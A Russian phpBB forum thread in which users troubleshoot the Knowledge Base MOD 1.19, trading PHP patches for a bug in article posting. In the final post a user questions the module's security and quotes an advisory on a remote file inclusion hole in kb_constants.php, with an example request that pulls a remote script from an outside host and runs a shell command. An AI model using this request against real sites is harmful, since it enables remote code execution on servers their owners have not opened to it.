Knowledge Base MOD

[Sheer]

Может быть есть SQL код в текстовом виде ?

Ну вот же, прям перед носом - на это странице! Смотри мое сообщение от 18.02.2007

[wwc]

Может быть есть SQL код в текстовом виде ?

Ну вот же, прям перед носом - на это странице! Смотри мое сообщение от 18.02.2007

Туплю-с...

[wwc]

Спасибо. Все поставил. Вроде работает. Но как бы мне с этим глюком побороться --> http://rsg.peko.ru/php/phpBB2/viewtopic.php?t=336 ... не выводит ни саму статью ни ее URL :-(

[wwc]

И еще не совсем понятна формулировка "Тип статьи", коли есть пункт описание статьи...

[Sheer]

Но как бы мне с этим глюком побороться...... не выводит ни саму статью ни ее URL :-(

Сам не знаю. На локалке работает как надо, на сайте нет. Плюнул, после добавления статьи редактирую вручную. Выглядеть это должно примерно так.
Тип статьи - это наверное какя-то заготовка автора мода на будущее, но доделать руки видать не дошли

[wwc]

Но как бы мне с этим глюком побороться...... не выводит ни саму статью ни ее URL :-(

Сам не знаю. На локалке работает как надо, на сайте нет. Плюнул, после добавления статьи редактирую вручную. Выглядеть это должно примерно так.
Тип статьи - это наверное какя-то заготовка автора мода на будущее, но доделать руки видать не дошли

А в каом месте вообще формируется код выхода на основную страничку, может там просто переменная кривовато описана. Где б посмотреть ?

[Sheer]

Где б посмотреть ?

Смиотреть в файле includes\kb_post.php
Собака порылась где-то тут:

Код: Выделить всё

$kb_post_mode = empty( $article_id ) ? 'add' : 'edit';

// Parameters

$submit = ( isset( $HTTP_POST_VARS['article_submit'] ) ) ? true : false;
$cancel = ( isset( $HTTP_POST_VARS['cancel'] ) ) ? true : false;
$preview = ( isset( $HTTP_POST_VARS['preview'] ) ) ? true : false;

[wwc]

Где б посмотреть ?

Смиотреть в файле includes\kb_post.php
Собака порылась где-то тут:

Код: Выделить всё

$kb_post_mode = empty( $article_id ) ? 'add' : 'edit';

// Parameters

$submit = ( isset( $HTTP_POST_VARS['article_submit'] ) ) ? true : false;
$cancel = ( isset( $HTTP_POST_VARS['cancel'] ) ) ? true : false;
$preview = ( isset( $HTTP_POST_VARS['preview'] ) ) ? true : false;

Посмотрел. Вроде нчиего особенного не нашел. Думаю, что проблема в той части скрипта, где идет формирование связи с выводом в viewtopic.php

[Gosudar]

Какая версия мода? и где качали?
файл functions_kb.php:
За создание сообщения отвечает функция kb_compose_comment
Там раньше была ошибка, что-то типа - т.е. PORTAL_URL не определено

$temp_url = PORTAL_URL . this_kb_mxurl("mode=" . "article&k=" . $kb_comment['article_id']);

Хотя может и исправили это.

[Sheer]

Какая версия мода? и где качали?

Версия 1.19 от 2005/04/20. Откуда качал не помню.
В общем поковырялся там. С PORTAL_URL вроде все впорядке.
Собственно суть проблемы такова. При добавлении статьи в форуме создается топик и там вместо
Название статьи:
Автор:
Описание:
Категория:
Тип статьи:

>>Прочитать статью полностью
выводится
Статья отредактирована
То есть в БД в таблицу phpbb_posts_text попадает содержимое переменной $message_update_text , а не переменной $message

Почему, я так и не понял, но решил проблему в лоб, может некрасиво, но зато работает:

Код: Выделить всё

файл includes/kb_post.php
найти 
$message_temp = kb_compose_comment( $kb_comment );
заменить 
$message_temp = kb_compose_comment( $kb_comment, $mode );

файл includes/kb_article.php
найти 
$message_temp = kb_compose_comment( $kb_comment );
заменить
$message_temp = kb_compose_comment( $kb_comment, $mode );

файл includes/kb_moderator.php
найти 
$message_temp = kb_compose_comment( $kb_comment );
заменить
$message_temp = kb_compose_comment( $kb_comment, $mode );


файл includes/functions_kb.php
найти 
function kb_compose_comment( $kb_comment )
заменить 
function kb_compose_comment( $kb_comment, $kb_mode )

найти 
$message_update_text = "[i]" . $lang['Edited_Article_info'] . $kb_comment['article_editor'] . "[/i]" . "\n\n";
после вставить
if ($kb_mode == "add") $message_update_text = $message;

[Gosudar]

Ну если работает, и при редактировании тогда все ок!
Если нет, киньте в меня свою версию мода, посмотрю на досуге.

[wwc]

Какая версия мода? и где качали?

Почему, я так и не понял, но решил проблему в лоб, может некрасиво, но зато работает:

Реально работает. Спасибо огромное !!!

[Sheer]

Реально работает.

Да ить работать-то, работает. Но все-равно тут парадокс и перегиб.
На работе стоит Apach, скачанный с denwer.ru (Денвер-2 2005-07-19), дома поставил тот же. Настройки вроде те же, но вот на работе на локале все работает без всяких переделок, а дома и на хосте - нет. Или что-то с глобальными переменными, или с настройками php.
Короче мод кривоватый, если такие неявные нюансы влияют на работу мода.

[wwc]

Короче мод кривоватый, если такие неявные нюансы влияют на работу мода.

В целом, да. В 1.53 + , есть решение этого мода встроенным путем. Можно у них посмотреть. Я, если честно, не мостак перестраивать плюсовые моды под обычные :-)

[Fizigr]

Добрый день!
Есть вопрос по безопасности данного мода.
В частности интересует файл ./includes/kb_constants.php
Файл начинается с:

Код: Выделить всё

if ( !MXBB_MODULE )
{...

Не должно ли там быть что-то типа:

Код: Выделить всё

if ( !defined( 'IN_PORTAL' ) )
{
	die( "Hacking attempt" );
}

или:

Код: Выделить всё

if ( !defined('IN_PHPBB') )
{
	die("Hacking attempt");
}

Добавлено спустя 4 минуты 19 секунд:
Кстати, вот с хакера пример...
Программа: Knowledge Base Mod (модуль для phpBB) 2.0.2, возможно другие версии.

Уязвимость позволяет удаленному пользователю выполнить произвольный код на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "module_root_path" в сценарии /includes/kb_constants.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный PHP сценарий на системе с привилегиями Web сервера. Для удачной эксплуатации уязвимости опция "register_globals" должна быть включена.

Пример:

/includes/kb_constants.php?module_root_path=http://yourhost/cmd.gif?cmd=ls